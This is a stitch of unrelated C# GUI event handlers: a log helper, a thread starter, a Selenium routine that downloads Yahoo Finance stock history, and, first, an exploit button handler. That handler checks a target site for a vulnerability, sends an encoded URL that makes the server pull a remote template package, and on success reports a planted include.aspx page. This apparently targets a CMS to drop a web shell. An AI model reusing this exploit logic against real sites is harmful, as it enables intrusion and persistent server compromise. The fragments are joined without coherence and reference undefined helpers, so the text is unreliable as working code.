private void Exp_Btn_Click(object sender, EventArgs e) { string _html; string _ExpUrl; _Target = Target_TextBox.Text.Trim(); _RemotePackage = RemotePackage_TextBox.Text.Trim(); try { //检测是否存在漏洞 if (!Check_Vul(_Target)) { MessageBox.Show("Target does not exist vulnerability !", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } Log_TextBox.AppendText(" Target exist vulnerability !\r\n"); //转换URL _ExpUrl = _Target + string.Format(_VulPath, Payload_Encode(_RemotePackage)); _html = httpHelper.GetHtml(_ExpUrl); //判断写入 if (_html.Contains("站点模板下载成功,请到站点模板管理中查看。")) { Log_TextBox.AppendText("Exploit Success!\r\n"); Log_TextBox.AppendText("Please visit:\r\n" + _Target + "/SiteFiles/SiteTemplates/1nclude/include.aspx\r\n"); return; } Log_TextBox.AppendText("Exploit failed !\r\n"); } catch (Exception ex) { MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } }
void ScrollLog() { UserCity_TextBox.Text = ""; Log_TextBox.CaretIndex = Log_TextBox.Text.Length; Log_TextBox.ScrollToEnd(); }
//检测模板包是否可用 private void Detect_Btn_Click(object sender, EventArgs e) { Log_TextBox.Clear(); Thread CheckAva; CheckAva = new Thread(new ThreadStart(Check_Ava)); CheckAva.Start(); }
private void Log(string message, MessageType messageType = MessageType.INFO) { if (Log_TextBox.InvokeRequired) { Log_TextBox.Invoke(new MethodInvoker(delegate { Log_TextBox.Text += $"[{messageType}] {message} {Environment.NewLine}"; })); } else { Log_TextBox.Text += $"[{messageType}] {message} {Environment.NewLine}"; } }
private void StartDownload_Button_Click(object sender, RoutedEventArgs e) { //xpath variables string xpath_datepicker_filter = "//*[@id=\"Col1-1-HistoricalDataTable-Proxy\"]/section/div[1]/div[1]/div[1]/span[2]/span/input"; string xpath_datepicker_start = "//*[@id=\"Col1-1-HistoricalDataTable-Proxy\"]/section/div[1]/div[1]/div[1]/span[2]/div/input[1]"; string xpath_datepicker_end = "//*[@id=\"Col1-1-HistoricalDataTable-Proxy\"]/section/div[1]/div[1]/div[1]/span[2]/div/input[2]"; string xpath_download_file_link = "//*[@id=\"Col1-1-HistoricalDataTable-Proxy\"]/section/div[1]/div[2]/span[2]/a/span"; string xpath_datepicker_done = "//*[@id=\"Col1-1-HistoricalDataTable-Proxy\"]/section/div[1]/div[1]/div[1]/span[2]/div/div[3]/button[1]"; string StockText = Stock_TextBox.Text.ToUpper().Replace(" ", string.Empty); string Selected_Website = ComboBoxWebsite.Text; string yahoo_url = $"https://finance.yahoo.com/quote/{StockText}/history?p={StockText}"; string file_name = Textbox_FileName.Text; string datepicker_start_value, datepicker_end_value; bool datepicker_start_flag, datepicker_end_flag, completed_flag = false; //DatePicker flags and values datepicker_start_flag = StartDate_DatePicker != null ? true : false; datepicker_end_flag = EndDate_DatePicker != null ? true : false; datepicker_start_value = StartDate_DatePicker != null ? StartDate_DatePicker.Text : null; datepicker_end_value = EndDate_DatePicker != null ? EndDate_DatePicker.Text : null; Log_TextBox.AppendText($"\n" + DateTime.Now.ToString(date_format) + ": Fetching data for " + StockText); Log_TextBox.ScrollToEnd(); Thread trd = new Thread(() => { SeleniumEnhanced.SeleniumEnhanced SE = new SeleniumEnhanced.SeleniumEnhanced(); SE.StartWebDriver(); switch (Selected_Website) { case "Yahoo": Console.WriteLine($"Starting {StockText} Download"); SE.driver.Navigate().GoToUrl(yahoo_url); Console.WriteLine($"Downloading File"); System.Threading.Thread.Sleep(5000); //if both dates are selected, filter for date range if (datepicker_start_flag == true && datepicker_end_flag == true) { //datepicker option SE.GetFunction("Click", xpath_datepicker_filter, "DatePricker"); //set start date values SE.GetFunction("Click", xpath_datepicker_start, "Start Date"); SE.GetFunction("Clear", xpath_datepicker_start, "Start Date"); SE.GetFunction("SendKeys", xpath_datepicker_start, "Start Date", datepicker_start_value); //set end date values SE.GetFunction("Click", xpath_datepicker_end, "End Date"); SE.GetFunction("Clear", xpath_datepicker_end, "End Date"); SE.GetFunction("SendKeys", xpath_datepicker_end, "End Date", datepicker_end_value); //done button SE.GetFunction("Click", xpath_datepicker_done, "Done button"); } SE.GetFunction("Click", xpath_download_file_link, "Download"); System.Threading.Thread.Sleep(3000); SE.Quit(); completed_flag = true; break; default: Console.WriteLine("No option selected"); break; } if (completed_flag == true) { var get_last_mod_file = Directory.GetFiles(download_dir) .Select(f => new FileInfo(f)) .OrderByDescending(fi => fi.LastWriteTime) .First() .FullName; // get last modified file string last_mod_file = (string)get_last_mod_file; string file_extension = last_mod_file.Substring((last_mod_file.Length - 4), 4); // dynamically get file extension System.IO.File.Copy(last_mod_file, selected_dest_folder + "\\" + file_name + file_extension, true); //will figure out later /* * Log_TextBox.AppendText($"\n" + DateTime.Now.ToString(date_format) + ": Data download complete"); * Log_TextBox.ScrollToEnd(); * * if (completed_flag != true) * { * Log_TextBox.AppendText($"\n" + DateTime.Now.ToString(date_format) + ": ***ERROR*** Fetching data for " + StockText); * } */ } }); //checks if website is selected and stock value is non-null value before starting thread if (StockText.Length > 0 && Selected_Website != "Select Website") { trd.Start(); } }